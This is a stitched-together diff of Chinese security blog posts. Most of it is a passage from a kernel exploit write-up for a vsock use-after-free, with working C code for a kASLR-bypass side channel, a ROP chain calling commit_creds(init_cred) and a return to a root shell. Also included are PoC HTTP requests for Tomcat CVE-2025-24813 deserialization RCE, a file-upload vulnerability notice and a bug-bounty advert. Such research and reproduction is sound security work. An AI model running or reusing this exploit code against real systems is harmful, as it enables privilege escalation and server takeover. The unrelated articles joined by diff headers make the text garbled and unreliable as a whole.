由于我们释放的套接字仍然在绑定表中因此只有两项检查可以防止我们从套接字中转储任何信息。前一项sk->sk_state检查很容易通过不需要任何泄漏但后一项sk_net检查似乎更难。我们如何才能伪造一个sk->__sk_common->skc_net指针而不发生 kASLR 泄漏?我在这方面被困了大约一周,但多亏了 discord 社区的帮助,我才得以克服这个难题!
Diag Dump Sidechannel 的乐趣与收益
陷入困境后,我求助于 kernelctf 社区,并在 discord 上分享了上述检查方法。几乎立刻,@h0mbre 就回复了我建议暴力破解skc_net指针本质上就是利用vsock_diag_dump侧信道攻击太棒了🤯
![](https://mmbiz.qpic.cn/sz_mmbiz_png/rWGOWg48tadaUxE9eycrpH9MyyWrS4apU2vuSs2BurmceZqT8HYHiaS2dVpuWLh9AgniazyicpQr5P16PrwSC53tQ/640?wx_fmt=png&from=appmsg "")
所以总而言之我们做以下事情来泄漏init_net...
1. 喷水管道回收 UAF 插座的页面
1. 使用受控值逐个 QWORD 地填充每个管道缓冲区
1. 使用 vsock_diag_dump() 作为侧通道来检测我们覆盖的结构是否“足够有效”以绕过过滤
1. 一旦 vsock_diag_dump() 停止报告我们的套接字,我们就知道我们损坏了 skc_net
1. 然后,我们强制执行 init_net 的低位,直到套接字再次被接受 - 从而实现完全的 kASLR 绕过
@h0mbre 建议使用管道支持页面事实证明它比msg_msg我之前使用的对象更加稳定/易用。经过一番努力我成功地编写了以下代码来泄漏sk_net指针。
```
int junk[FLUSH];for (int i = 0; i < FLUSH; i++)    junk[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);puts("[+] pre alloc sockets");int pre[PRE];for (int i = 0; i < PRE; i++)    pre[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);// ... snip ... (alloc target & trigger uaf)puts("[+] fill up the cpu partial list");for (int i = 4; i < FLUSH; i += OBJS_PER_SLAB)    close(junk[i]);puts("[+] free all the pre/post alloc-ed objects");for (int i = 0; i < POST; i++)    close(post[i]);for (int i = 0; i < PRE; i++)    close(pre[i]);
```
对象的预分配和后分配确保整个页面实际上被返回给伙伴分配器参见此文。下面是实际查找指针的代码skc_net。
```
int pipes[NUM_PIPES][2];char page[PAGE_SIZE];memset(page, 2, PAGE_SIZE); // skc_state must be 2puts("[+] reclaim page");int w = 0;int j;i = 0;while (i < NUM_PIPES) {    sleep(0.1);    if (pipe(&pipes[i][0]) < 0) {        perror("pipe");        break;    }    printf(".");    fflush(stdout);    w = 0;    while (w < PAGE_SIZE) {        ssize_t written = write(pipes[i][1], page, 8);        j = query_vsock_diag();        w += written;        if (j != 48) goto out;    }    i++;    if (i % 32 == 0) puts("");}
```
如你所见,这段代码只是不断创建新的管道,并一次填充一个 QWORD0x0202020202020202 以满足skc_state直到vsock_diag_dump不再找到目标套接字。这意味着我们已经覆盖了skc_net。一旦我们真正覆盖了指针我们只需要以相同的方式暴力破解地址的低 32 位即可。
```
long base = 0xffffffff84bb0000; // determined through experimentationlong off = 0;long addy;printf("[+] attempting net overwrite (aslr bypass).\n");while (off < 0xffffffff) {    close(pipes[i][0]);    close(pipes[i][1]);    if (pipe(&pipes[i][0]) < 0) {        perror("pipe");    }    addy = base + off;    write(pipes[i][1], page, w - 8);    write(pipes[i][1], &addy, 8);    if (off % 256 == 0) {        printf("+");        fflush(stdout);    }    j = query_vsock_diag();    if (j == 48) {        printf("\n[*] LEAK init_net @ 0x%lx\n", base + off);        goto out2;    }    off += 128;}
```
通过skc_net覆盖我们一举两得。我们绕过了 kASLR并找到了 vsock 对象中已知的偏移量。
现在剩下的就是找到一种可靠的方法来重定向执行流......
控制 RIP
为了控制指令指针我采用了该vsock_release函数因为它是少数不受 apparmor 保护的 vsock 功能之一。
```
static int vsock_release(struct socket *sock){  struct sock *sk = sock->sk;if (!sk)    return0;  sk->sk_prot->close(sk, 0);  __vsock_release(sk, 0);  sock->sk = NULL;  sock->state = SS_FREE;return0;}
```
我们最感兴趣的是对 的调用sk->sk_prot->close(sk, 0)。由于我们控制 sk所以我们需要一个指向函数 的有效指针。这让我困惑了一段时间直到我开始考虑使用其他有效的原型对象。我发现raw_proto有一个指向如下所示的中止函数的指针。
```
int raw_abort(struct sock *sk, int err){  lock_sock(sk);  sk->sk_err = err;  sk_error_report(sk);  __udp_disconnect(sk, 0);  release_sock(sk);  return 0;}
```
该函数调用 into sk_error_report如下所示。
```
void sk_error_report(struct sock *sk){  sk->sk_error_report(sk);switch (sk->sk_family) {case AF_INET:    fallthrough;case AF_INET6:    trace_inet_sk_error_report(sk);    break;default:    break;  }}
```
因此如果我们可以sk->sk_error_report使用堆栈枢轴小工具覆盖套接字的字段我们就应该能够跳转到从套接字底部开始的 ROP 链。
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/rWGOWg48tadaUxE9eycrpH9MyyWrS4apHaKicFnJBia98Q7Qn8bGQtUD7JF5vbCndu8iaVczVyvmqEyKwsU8MY0lQ/640?wx_fmt=jpeg&from=appmsg "")
下面是覆盖之后 vsock 状态的清晰可视化。
```
sk->sk_prot --> &raw_proto              ↳ .close = raw_abort                          ↳ sk->sk_error_report(sk) → *stackivot*
```
另一个需要注意的是需要sk_lock使用一些空字节和指针来伪造成员这是通过大量调试确定的。弄清楚所有这些之后我构建了以下 ROP 链。
```
long kern_base = base + off - 0x3bb1f80;printf("[*] leaked kernel base @ 0x%lx\n", kern_base);// calculate some rop gadgetslong raw_proto_abort = kern_base + 0x2efa8c0;long null_ptr = kern_base + 0x2eeaee0;long init_cred = kern_base + 0x2c74d80;long pop_r15_ret = kern_base + 0x15e93f;long push_rbx_pop_rsp_ret = kern_base + 0x6b9529;long pop_rdi_ret = kern_base + 0x15e940;long commit_creds = kern_base + 0x1fcc40;long ret = kern_base + 0x5d2;// info for returning to usermodelong user_cs = 0x33;long user_ss = 0x2b;long user_rflags = 0x202;long shell = (long)get_shell;uint64_t* user_rsp = (uint64_t*)get_user_rsp();// return to user modelong swapgs_restore_regs_and_return_to_usermode = kern_base + 0x16011a6;//getchar();printf("[+] writing the rop chain\n");close(pipes[i][0]);close(pipes[i][1]);if (pipe(&pipes[i][0]) < 0) {    perror("pipe");}printf("[+] writingpayloadtovsk\n");write(pipes[i][1], page, w-56);charbuf[0x330];memset(buf, 'A', 0x330);charnot[0x330];memset(not, 0, 0x330);// createtheropchain!write(pipes[i][1], &pop_rdi_ret, 8); // stackpivottargetwrite(pipes[i][1], &init_cred, 8);write(pipes[i][1], &ret, 8); write(pipes[i][1], &ret, 8);write(pipes[i][1], &pop_r15_ret, 8); // junkwrite(pipes[i][1], &raw_proto_abort, 8); // sk_prot (callssk->sk_error_report())write(pipes[i][1], &ret, 8);write(pipes[i][1], &commit_creds, 8); // commit_creds(init_cred);write(pipes[i][1], &swapgs_restore_regs_and_return_to_usermode, 8);write(pipes[i][1], &null_ptr, 8); // raxwrite(pipes[i][1], &null_ptr, 8); // rdiwrite(pipes[i][1], &shell, 8); // ripwrite(pipes[i][1], &user_cs, 8);write(pipes[i][1], &user_rflags, 8);write(pipes[i][1], user_rsp, 8); // rspwrite(pipes[i][1], &user_ss, 8);write(pipes[i][1], buf, 0x18);write(pipes[i][1], &not, 8); // sk_lockwrite(pipes[i][1], &not, 8); // sk_lockwrite(pipes[i][1], &null_ptr, 8); // sk_lockwrite(pipes[i][1], &null_ptr, 8); // sk_lockwrite(pipes[i][1], buf, 0x200);write(pipes[i][1], &push_rbx_pop_rsp_ret, 8); // stack pivot [sk_error_report()]//getchar();close(s); // trigger the exploit!
```
请注意我没有调用该函数prepare_kernel_cred(NULL)因为它不再受支持会导致崩溃。相反我选择调用commit_creds一个结构体该结构体具有相对于内核基址的常量偏移量并且 uid=gid=0。我还从这篇init_cred博客中借用了 swapgs_restore_regs_and_return_to_usermode 技术。所有这些拼图碎片都到位后,我们的漏洞利用就能获得一个 root shell
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/rWGOWg48tadaUxE9eycrpH9MyyWrS4apXooHbZQTFdHV32FqouHBTFRNjFsKN5z1jLqEfiaTw2jkOrtLNyuJaqg/640?wx_fmt=gif&from=appmsg "")
该漏洞的最终源代码发布在这里
https://github.com/hoefler02/CVE-2025-21756/blob/main/x.c。该漏洞还可以更加可靠和优雅但作为我的第一个内核破解者我已经很满意了
谢谢你!
对于一个只涉及几行补丁代码的漏洞来说,这段旅程让我对内核的了解远超预期!如果没有[#kernelctf]()
 discord 频道上所有超级好心的黑客们的帮助,我永远也完成不了这次漏洞利用!谢谢大家!祝你破解愉快!
感谢您抽出
![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycNnFvFYVgXoExRy0gqCkqvrAghf8KPXnwQaYq77HMsjcVka7kPcBDQw/640?wx_fmt=gif "")
.
![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycd5KMTutPwNWA97H5MPISWXLTXp0ibK5LXCBAXX388gY0ibXhWOxoEKBA/640?wx_fmt=gif "")
.
![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWgdSBqOibtgiaYWjL4pkRXwycU99fZEhvngeeAhFOvhTibttSplYbBpeeLZGgZt41El4icmrBibojkvLNw/640?wx_fmt=gif "")
来阅读本文
![](https://mmbiz.qpic.cn/mmbiz_gif/Ljib4So7yuWge7Mibiad1tV0iaF8zSD5gzicbxDmfZCEL7vuOevN97CwUoUM5MLeKWibWlibSMwbpJ28lVg1yj1rQflyQ/640?wx_fmt=gif "")
**点它,分享点赞在看都在这里**

View File

@ -1,5 +1,5 @@
# 【Web实战】一次空白页面的“妙手回春”嘎嘎出严重漏洞
原创 菜狗 富贵安全 2025-05-21 00:00
原创 菜狗 富贵安全 2025-05-24 00:03
# 前言

View File

@ -0,0 +1,79 @@
# 全网首发CVE-2025-24813 Tomcat 最新 RCE 分析复现
菜狗 富贵安全 2025-05-24 00:03
**漏洞概况**
Tomcat 是一个开源的、轻量级的 Web 应用服务器 和 Servlet 容器。它由 Apache 软件基金会下的 Jakarta 项目开发,是目前最流行的 Java Web 服务器之一。
该漏洞利用条件较为复杂,需同时满足以下四个条件:
1. 应用程序启用了DefaultServlet写入功能该功能默认关闭
1. 应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
1. 应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置
1. 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections此条件取决于业务实现是否依赖存在反序列化利用链的库
**漏洞影响范围**
- 9.0.0.M1 <= tomcat <= 9.0.98
- 10.1.0-M1 <= tomcat <= 10.1.34
- 11.0.0-M1 <= tomcat <= 11.0.2
**漏洞原理分析**
Content-Range
 在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在文件上传未完成的情况下内容会被临时存储在Tomcat的工作目录$CATALINA_BASE/work/Catalina/localhost/ROOT
该漏洞的核心在于不完整PUT请求上传时的文件名处理机制文件路径中的分隔符/
会被转换为.
。例如:访问/xxxxx/session
会被解析为.xxxxx.session
因此整个漏洞的利用过程为:
1. Tomcat的File会话存储默认路径同样位于CATALINA_BASE/work/Catalina/localhost/ROOT
1. 当存在反序列化利用链时,可以上传包含恶意序列化数据的文件
1. 通过设置JSESSIONID=.xxxxx
来触发漏洞
**环境配置**
在conf/context.xml中添加如下配置开启File文件会话存储
```
<Context\>  <Manager className\="org.apache.catalina.session.PersistentManager"\>      <Store className\="org.apache.catalina.session.FileStore"/>  </Manager\>  </Context\>
```
在conf/web.xml中将DefaultServlet的readonly配置为false启用写入功能
```
<servlet\>      <servlet-name\>default</servlet-name\>      <servlet-class\>org.apache.catalina.servlets.DefaultServlet</servlet-class\>      <init-param\>          <param-name\>debug</param-name\>          <param-value\>0</param-value\>      </init-param\>      <init-param\>          <param-name\>readonly</param-name\>          <param-value\>false</param-value\>      </init-param\>      <load-on-startup\>1</load-on-startup\>  </servlet\>
```
将Commons Collections 3.2.1.jar放入lib文件夹
**漏洞复现**
生成一个恶意的序列化文件使用以下数据包上传需要注意Range的分块值需要与Length保持一致且大于当前文件的长度。
```
PUT /xxxxx/session HTTP/1.1Host: 192.168.131.32:8080Content-Length: 1000Content-Range: bytes 0-1000/1200{{反序列化文件内容)}}
```
使用以下PoC触发
```
GET / HTTP/1.1Host: 192.168.131.32:8080Cookie: JSESSIONID=.xxxxx
```
![image.png](https://mmbiz.qpic.cn/sz_mmbiz_png/veA9QmcJk5neSp7MqBEnEUDiaWgxVV3dQNibOMLnNvspm1sdUy2WRlriayDicYr3yp1KLkJ0W7nw2bHxGJNlicGmq5Q/640?wx_fmt=png&from=appmsg "")
**修复方案**
Apache基金会官方已发布漏洞公告可下载补丁更新https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
原文链接:
https://forum.butian.net/article/674

View File

@ -0,0 +1,113 @@
# 杭州九麒科技 BigAnt-Admin uploadMultipleFile.html 任意文件上传漏洞
Superhero Nday Poc 2025-05-24 10:30
![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkYN4sZibCVo6EFo0N9b7Kib4I4N6j6Y10tynLOdgov9ibUmaNwW5yeoCbQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCkhic5lbbPcpxTLtLccZ04WhwDotW7g2b3zBgZeS5uvFH4dxf0tj0Rutw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![图片](https://mmbiz.qpic.cn/mmbiz_png/Melo944GVOJECe5vg2C5YWgpyo1D5bCk524CiapZejYicic1Hf8LPt8qR893A3IP38J3NMmskDZjyqNkShewpibEfA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
内容仅用于学习交流自查使用,由于传播、利用本公众号所提供的
POC
信息及
POC对应脚本
而造成的任何直接或者间接的后果及损失均由使用者本人负责公众号Nday Poc及作者不为此承担任何责任一旦造成后果请自行承担
**01**
**漏洞概述**
杭州九麒科技 BigAnt-Admin uploadMultipleFile.html 接口存在任意文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。
**02******
**搜索引擎**
FOFA:
```
app="BigAnt-Admin"
```
![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwKakHrXxmIRK25EucNyl5e9sHxo2hm1rh86u1o3dREJMN0hXXw6zRvOxJpz34Bdic5r0ibZ8c2auXoQ/640?wx_fmt=png&from=appmsg "")
**03******
**漏洞复现**
![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwKakHrXxmIRK25EucNyl5e9L0tUwz2NHDaLGuUaBiaw1LvrnfO3OTlnAwTZp08Ql0cKbibqM6DE9VIQ/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwKakHrXxmIRK25EucNyl5e9O1lwNhAhyZy1H0tLPQMRQ2BR3gSgQUIMJ36g2CJw6vn1tuYk0se6Jw/640?wx_fmt=png&from=appmsg "")
**04**
**自查工具**
nuclei
![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwKakHrXxmIRK25EucNyl5e934Kv3qHLYJZ8BARtPjDDRtH6BBJLibQYO9IctpqX1sAW9acARdhwGicg/640?wx_fmt=png&from=appmsg "")
afrog
![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwKakHrXxmIRK25EucNyl5e9o16s9avJTKcUDXSPqjlooCdHhYK9GAC0hdXZgBsZKt2z5bAcIeicibiaw/640?wx_fmt=png&from=appmsg "")
xray
![](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwKakHrXxmIRK25EucNyl5e9ISxjCXo30icqHDtia0sqwjUyYymAic5PP1b7gibJZoR4thEXwbufOUHqfA/640?wx_fmt=png&from=appmsg "")
**05******
**修复建议**
1、关闭互联网暴露面或接口设置访问权限
2、
升级至安全版本
**06******
**内部圈子介绍**
【Nday漏洞实战圈】🛠 
专注公开1day/Nday漏洞复现
 · 工具链适配支持
 ✧━━━━━━━━━━━━━━━━✧ 
🔍 资源内容
 ▫️ 整合全网公开
1day/Nday
漏洞POC详情
 ▫️ 适配Xray/Afrog/Nuclei检测脚本
 ▫️ 支持内置与自定义POC目录混合扫描 
🔄 更新计划 
▫️ 每周新增7-10个实用POC来源公开平台 
▫️ 所有脚本经过基础测试,降低调试成本 
🎯 适用场景 
▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗 
▫️ 安全运维
✧━━━━━━━━━━━━━━━━✧ 
⚠️ 声明:仅限合法授权测试,严禁违规使用!
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/wnJTy44dqwI0beBCCyKGykkAazuPyvibgC0ooBGy9elQQ72f1WIB73UDYuPhx8cnCobvnOBdTcxmdwBbt2eAYIQ/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")

View File

@ -1,10 +1,10 @@
# 渗透工具箱V8 集成Web扫描、漏洞利用、抓包、免杀等等|漏洞探测
shuidi 渗透安全HackTwo 2025-05-22 16:21
shuidi 渗透安全HackTwo 2025-05-24 09:05
0x01 工具介绍
水滴工具箱 (shuidi) 是一款由MAOGE555开发的开源渗透测试工具集合。它旨在方便用户快捷调用各类安全工具,涵盖Web扫描、抓包、免杀等多个方面。该项目目前V8版本可供下载V9版本正在积极开发中致力于优选并添加新工具、升级旧版工具并优化布局分类为安全专业人士提供一个持续更新、功能全面的集成化平台
水滴工具箱 (shuidi) 是一款的开源渗透测试工具集合。涵盖Web扫描、抓包、免杀等多个方面。该项目目前V8版本可供下载。
**注意:**
现在只对常读和星标的公众号才展示大图推送,建议大家把

View File

@ -0,0 +1,199 @@
# 翻倍回归,实物好礼。端午挖洞,漏洞必“粽”!
原创 QAXSRC 奇安信安全应急响应中心 2025-05-24 04:39
![](https://mmbiz.qpic.cn/mmbiz_png/PaP7nWesuFjpJbALNiaUH43G6DRO6qQENBEXwUkdU90U1iaib3wU2trYH4uYiaXqwHxF2UJvbyx4onbpfat03tno6A/640? "")
![](https://mmbiz.qpic.cn/mmbiz_png/9rHgvruEYeW7UAyicIxLz44elzmC7ibCBphS25LreXfCPafvluDGzPlPgIiaDyUcdTE8X2637UR7ibrFMXbNRGhfyQ/640? "")
甜粽咸粽
不如
漏洞必中
实物好礼&翻倍卡回归!
5/246/24
![](https://mmbiz.qpic.cn/sz_mmbiz_gif/B2tNSMl02ug4Q5LZIZPGPESOtvPV2RRzCRxWibzNFAtc40FeBftLm0sicFmBTNiclbt5hKmrtZF4MntWxzBpBXbYA/640? "")
![](https://mmbiz.qpic.cn/mmbiz_png/exHHtEHcuibTbAwibbkLeDC1ibh9Xbv7qy3qCUxHONN4a8mLbUbjhjGrmO7MWCgibuiaTia8Hpu5lKMaXeaqCcKbVVDg/640? "")
![](https://mmbiz.qpic.cn/mmbiz_png/LTZa9gBmHfFxf9vyfQYjwIibB8ibhwAfYHhTCtZunoLggZ56OOzhIo8666CGRESa9vnsicfVBJGd9IfQznsibwXLsg/640? "")
![](https://mmbiz.qpic.cn/mmbiz_png/ERViavKEcSWdJNYNcN2eSNFyZm1NktNfodp2MGTHEz1JjFILdKIkOHTWJluKR93bMXDf3KJxfN9WC12Gpokicm6g/640? "")
奖金翻倍
![](https://mmbiz.qpic.cn/sz_mmbiz_png/V9ibzPySCrKIZzP483hiakgH8ZBqbAiauTCaUh2cP0yK6346W8qSjEbZR7hObiaRBVdUg7kBYM5UWNkQicM5SOicktVQ/640? "")
![](https://mmbiz.qpic.cn/mmbiz_png/ERViavKEcSWdJNYNcN2eSNFyZm1NktNfoxwpE3GxMVCicdJxjvpwyDuePYsBbySFClplvyAGibT5KmRkicZA52g9Cg/640? "")
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/s8C33eSK5zhFNh2mIm3JA2GRmwfOFMU5IkkNkq3bjWCyJaT21wXrp3qtmZcvib4AsZMu298gl02h5E1cXibD0YKw/640?wx_fmt=jpeg&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/5s9BicGm1uM1VTo5zyh5NZXBTRm12a8KDpYMjMXBCwfL0A0ZAUWjQHgkhaOtWtZw8dmkiaBZaPiaWFUAHzBv8RAFg/640? "")
DRAGON BOAT FESTIVAL
![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibca7icxrtyLuxmeIW9Vnzd29u2H6x9C0JibSxYhO87E4hebicusxGDYmeXDKYWI7DCwgc9ibNcu5UaP66vtL629Jfg/640? "")
活动期间漏洞积分排行奖励
Top1: 奖金3倍卡一张+价值3k实物奖品   
Top2: 奖金2倍卡一张+价值1.5k实物奖品
Top3: 奖金1.5倍卡一张+价值1k实物奖品
Top4~5标准奖金评定+价值1k实物奖品
![](https://mmbiz.qpic.cn/mmbiz_png/5s9BicGm1uM1VTo5zyh5NZXBTRm12a8KDpYMjMXBCwfL0A0ZAUWjQHgkhaOtWtZw8dmkiaBZaPiaWFUAHzBv8RAFg/640? "")
Rules
![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibca7icxrtyLuxmeIW9Vnzd29u2H6x9C0JibSxYhO87E4hebicusxGDYmeXDKYWI7DCwgc9ibNcu5UaP66vtL629Jfg/640? "")
活动要求
    1. 漏洞提交需按照指定格式提交,未按照格式提交不计入活动结算。
        提交示例:
【漏洞必中】xxx产品xxx漏洞
    2. 需提交大于等于1个有效高危漏洞方可计入活动奖励结算。
    3. 翻倍卡使用时限2025.6.25~7.24 且不与其他活动和奖励buff叠加。
    4. 翻倍卡使用前,私信联系小安~
![](https://mmbiz.qpic.cn/mmbiz_png/5s9BicGm1uM1VTo5zyh5NZXBTRm12a8KDpYMjMXBCwfL0A0ZAUWjQHgkhaOtWtZw8dmkiaBZaPiaWFUAHzBv8RAFg/640? "")
Scope and Rewards   
![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibca7icxrtyLuxmeIW9Vnzd29u2H6x9C0JibSxYhO87E4hebicusxGDYmeXDKYWI7DCwgc9ibNcu5UaP66vtL629Jfg/640? "")
收洞范围&奖金标准   
参照QAXSRC产品漏洞评级标准2.0
https://qianxin.butian.net/ 公告
![](https://mmbiz.qpic.cn/sz_mmbiz_png/rqkO6RlicPicWqVqZQyZBPgPNLhTNyD5lV8cttQrRULO5JLoSnPhG3nIKy0wdicfvIEDMOYm8emTmyUGhYmQE5HUg/640? "")
![](https://mmbiz.qpic.cn/mmbiz_png/Y0Qbmhib0VWrheroic7GndDzCnmCicSSZ8icibIaERs1EydrRIpKoDhfwBaeKwnLDYGu7KeCUstq89BRxmy6bbu0hIA/640? "")
新人关怀
![](https://mmbiz.qpic.cn/mmbiz_png/WcoyMP4yj5wCBotKEwEgqrGHyxYQhxgCCdlES1BGGr5kpEuB4Siciak4hegZicpEicgCyGQTo2laJMe916GEibu5mYQ/640? "")
![](https://mmbiz.qpic.cn/mmbiz_png/TYBX9wBxbpkMRyFQMokglvrTY81TzQqDPFTojJrL9Rdt8z5zao6aR0ElA7epxNZKgTVp1mw97xAd6CQCkeYVKg/640? "")
![](https://mmbiz.qpic.cn/mmbiz_png/5s9BicGm1uM1VTo5zyh5NZXBTRm12a8KDpYMjMXBCwfL0A0ZAUWjQHgkhaOtWtZw8dmkiaBZaPiaWFUAHzBv8RAFg/640? "")
Title
![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibca7icxrtyLuxmeIW9Vnzd29u2H6x9C0JibSxYhO87E4hebicusxGDYmeXDKYWI7DCwgc9ibNcu5UaP66vtL629Jfg/640? "")
漏洞标题
漏洞提交需按照指定格式提交,未按照格式提交不计入活动结算。该漏洞既有新人关怀的额外奖励,也计入本次端午积分排行活动奖励结算。
提交示例:
【漏洞必粽】xxx产品xxx漏洞
![](https://mmbiz.qpic.cn/mmbiz_png/5s9BicGm1uM1VTo5zyh5NZXBTRm12a8KDpYMjMXBCwfL0A0ZAUWjQHgkhaOtWtZw8dmkiaBZaPiaWFUAHzBv8RAFg/640? "")
Rules
![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibca7icxrtyLuxmeIW9Vnzd29u2H6x9C0JibSxYhO87E4hebicusxGDYmeXDKYWI7DCwgc9ibNcu5UaP66vtL629Jfg/640? "")
活动规则
该活动仅面向在QAXSRC提交的
第一个有效漏洞
活动时间2025.5.24~6.24
![](https://mmbiz.qpic.cn/mmbiz_png/5s9BicGm1uM1VTo5zyh5NZXBTRm12a8KDpYMjMXBCwfL0A0ZAUWjQHgkhaOtWtZw8dmkiaBZaPiaWFUAHzBv8RAFg/640? "")
Rewards
![](https://mmbiz.qpic.cn/sz_mmbiz_png/ibca7icxrtyLuxmeIW9Vnzd29u2H6x9C0JibSxYhO87E4hebicusxGDYmeXDKYWI7DCwgc9ibNcu5UaP66vtL629Jfg/640? "")
 新人奖励 
在原有奖励基础上,根据漏洞等级额外加赠奖励:
  1. 高危漏洞获得额外现金奖励500元                       
 2. 中危漏洞额外赠送硬盘盒1个(价值约100¥)       
3. 低危漏洞额外赠送恒温杯套装一份                    
![](https://mmbiz.qpic.cn/mmbiz_png/HB21FliaNU3ddTga5RxIhUuANO0uTeFpNe2anBRAxtuanaJ5mdfveoaEbuAkzoxoZlxkpR9n6Idu9o4pkSric5nA/640? "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/bESZtB8Qh71DAAxkGxySicpzOPj9Ra135bH08XflNfqbYpC9c5TuWIDyt7giascL1PfUibQn1LpnXZvFt2NkibZ4yA/640? "")
![](https://mmbiz.qpic.cn/mmbiz_png/dyWErfr2mXCyXe9MT9Xibs1cZDuty8gbX9dFcOicNkBIhoicbsqTCzV8pGa5S6Ql8peRCib7sSnGyIicvOz1T1NHrKA/640? "")
![](https://mmbiz.qpic.cn/mmbiz_png/ghicXicFtkMne4qvPElC9hDTox0o9F7Y2Rd0wm9nPCl0VXJYL3bu9B9UlgMQGJoO23PyHfjyzbezjMqXQlCxA8og/640? "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/2icauIGEz8V0TF4LhicrLxpiaibVRcxSBMU3F5aVgH2FEKwicQ2ar4cRuia9hcmCugEUvAR8p8XK4ibXhvtd0r9OKgsew/640? "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/jXUdvVDfC7gdRwTibZKFGTHV9rI3QSuwxMHiaia2AibyNkZODYc1qmpLyR9RTBwsiaDnCIA8HkGUA1WMyhAicqnl7lRw/640? "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/8N0TJ0DchpaxzkeIzThSjpjBu5EHkwniblmAXAbUPw3CnBvL4hQWNM3Euf5otHiadfjYLC7icK1odeDMB8J1SHRuA/640? "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/s8C33eSK5zgL0fcczNNMpfibNIso1JnWFsXza3O17y4wcg7y0uds3OibGrHGbgAZynQraL0sllCxXDeLeuwM5LoA/640?wx_fmt=png&from=appmsg "")
提交漏洞
![](https://mmbiz.qpic.cn/sz_mmbiz_png/8N0TJ0DchpaxzkeIzThSjpjBu5EHkwniblmAXAbUPw3CnBvL4hQWNM3Euf5otHiadfjYLC7icK1odeDMB8J1SHRuA/640? "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/VGWwcHOoTpARxrtaHtXF0h7lpkufU5RL656GZLMAa5y5WELhVibM7RLd6J00ZQia9eYy8InN5Z556QuibSsCtcYmQ/640? "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/jXUdvVDfC7gdRwTibZKFGTHV9rI3QSuwxMHiaia2AibyNkZODYc1qmpLyR9RTBwsiaDnCIA8HkGUA1WMyhAicqnl7lRw/640? "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/8N0TJ0DchpaxzkeIzThSjpjBu5EHkwniblmAXAbUPw3CnBvL4hQWNM3Euf5otHiadfjYLC7icK1odeDMB8J1SHRuA/640? "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/s8C33eSK5zgL0fcczNNMpfibNIso1JnWFibneER5iaXibVBicCABzMSz8QamXN3jYDiaf2NqlPxBg5oViawZ7NTSaNDGQ/640?wx_fmt=png&from=appmsg "")
联系小安
![](https://mmbiz.qpic.cn/sz_mmbiz_png/8N0TJ0DchpaxzkeIzThSjpjBu5EHkwniblmAXAbUPw3CnBvL4hQWNM3Euf5otHiadfjYLC7icK1odeDMB8J1SHRuA/640? "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/VGWwcHOoTpARxrtaHtXF0h7lpkufU5RL656GZLMAa5y5WELhVibM7RLd6J00ZQia9eYy8InN5Z556QuibSsCtcYmQ/640? "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/s8C33eSK5zhl0YlicGU4cJr3gJJzb0Z05rG4Iib7X9ibPgYeB4auhhOxzO0bw6x8MTqWwsuGIO4SibCsz7g6mqfCxw/640?from=appmsg "")